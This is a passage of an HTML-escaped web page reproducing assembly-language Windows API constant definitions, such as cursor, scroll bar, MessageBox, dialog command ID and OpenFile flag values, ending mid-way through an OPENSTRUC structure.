style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32643&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_SIZEWE&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32644&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_SIZENS&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32645&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_SIZEALL&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32646&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_ICOCUR&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32647&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OIC_SAMPLE&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32512&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OIC_HAND&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32513&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OIC_QUES&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32514&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OIC_BANG&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32515&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OIC_NOTE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32516&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;   &lt;/span&gt;Scroll bar constants&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_HORZ = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_VERT = 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_CTL&lt;span style=""&gt;  &lt;/span&gt;= 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_BOTH = 3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;   &lt;/span&gt;Scroll Commands&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_LINEUP&lt;span style=""&gt;        &lt;/span&gt;= 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_LINEDOWN&lt;span style=""&gt;      &lt;/span&gt;= 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_PAGEUP&lt;span style=""&gt;        &lt;/span&gt;= 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_PAGEDOWN&lt;span style=""&gt;      &lt;/span&gt;= 3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_THUMBPOSITION = 4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_THUMBTRACK&lt;span style=""&gt;    &lt;/span&gt;= 5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_TOP&lt;span style=""&gt;           &lt;/span&gt;= 6&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_BOTTOM&lt;span style=""&gt;        &lt;/span&gt;= 7&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SB_ENDSCROLL&lt;span style=""&gt;     &lt;/span&gt;= 8&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;  &lt;/span&gt;MessageBox type flags&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IFNDEF&lt;span style=""&gt;                  &lt;/span&gt;NOMB&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_OK&lt;span style=""&gt;                   &lt;/span&gt;= 0000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_OKCANCEL&lt;span style=""&gt;             &lt;/span&gt;= 0001H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_ABORTRETRYIGNORE&lt;span style=""&gt;     &lt;/span&gt;= 0002H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_YESNOCANCEL&lt;span style=""&gt;          &lt;/span&gt;= 0003H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_YESNO&lt;span style=""&gt;                &lt;/span&gt;= 0004H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_RETRYCANCEL&lt;span style=""&gt;          &lt;/span&gt;= 0005H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_ICONHAND &lt;span style=""&gt;            &lt;/span&gt;= 0010H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_ICONQUESTION&lt;span style=""&gt;         &lt;/span&gt;= 0020H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_ICONEXCLAMATION&lt;span style=""&gt;      &lt;/span&gt;= 0030H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_ICONASTERISK&lt;span style=""&gt;         &lt;/span&gt;= 0040H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_DEFBUTTON1&lt;span style=""&gt;           &lt;/span&gt;= 0000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_DEFBUTTON2&lt;span style=""&gt;           &lt;/span&gt;= 0100H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_DEFBUTTON3&lt;span style=""&gt;           &lt;/span&gt;= 0200H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_APPLMODAL&lt;span style=""&gt;            &lt;/span&gt;= 0000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_SYSTEMMODAL&lt;span style=""&gt;          &lt;/span&gt;= 1000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_TASKMODAL&lt;span style=""&gt;            &lt;/span&gt;= 2000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MB_NOFOCUS&lt;span style=""&gt;              &lt;/span&gt;= 8000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;  &lt;/span&gt;Conventional dialog box and message box command IDs&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDOK&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDCANCEL =&lt;span style=""&gt;   &lt;/span&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDABORT&lt;span style=""&gt;  &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDRETRY&lt;span style=""&gt;  &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDIGNORE =&lt;span style=""&gt;   &lt;/span&gt;5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDYES&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;6&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDNO&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;7&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;  &lt;/span&gt;Flags for OpenFile&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_READ&lt;span style=""&gt;             &lt;/span&gt;= 0000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_WRITE&lt;span style=""&gt;            &lt;/span&gt;= 0001H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_READWRITE&lt;span style=""&gt;        &lt;/span&gt;= 0002H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_SHARE_COMPAT&lt;span style=""&gt;     &lt;/span&gt;= 0000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_SHARE_EXCLUSIVE&lt;span style=""&gt;  &lt;/span&gt;= 0010H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_SHARE_DENY_WRITE = 0020H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_SHARE_DENY_READ&lt;span style=""&gt;  &lt;/span&gt;= 0030H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_SHARE_DENY_NONE&lt;span style=""&gt;  &lt;/span&gt;= 0040H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_PARSE&lt;span style=""&gt;            &lt;/span&gt;= 0100H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_DELETE&lt;span style=""&gt;           &lt;/span&gt;= 0200H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_VERIFY&lt;span style=""&gt;           &lt;/span&gt;= 0400H&lt;span style=""&gt;     &lt;/span&gt;; Used with OF_REOPEN&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_SEARCH&lt;span style=""&gt;           &lt;/span&gt;= 0400H&lt;span style=""&gt;     &lt;/span&gt;; Used without OF_REOPEN&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_CANCEL&lt;span style=""&gt;           &lt;/span&gt;= 0800H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_CREATE&lt;span style=""&gt;           &lt;/span&gt;= 1000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_PROMPT&lt;span style=""&gt;           &lt;/span&gt;= 2000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_EXIST&lt;span style=""&gt;            &lt;/span&gt;= 4000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OF_REOPEN&lt;span style=""&gt;           &lt;/span&gt;= 8000H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TF_FORCEDRIVE&lt;span style=""&gt;   &lt;/span&gt;= 80H&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OPENSTRUC&lt;span style=""&gt;       &lt;/span&gt;STRUC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;opLen&lt;span style=""&gt;   &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;opDisk&lt;span style=""&gt;  &lt;/span&gt;db&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;opXtra&lt;span style=""&gt;  &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;opDate&lt;span style=""&gt;  &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;opTime&lt;span style=""&gt;  &lt;/span&gt;dw&lt;span style=""&gt;      &lt;/span&gt;?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;opFile&lt
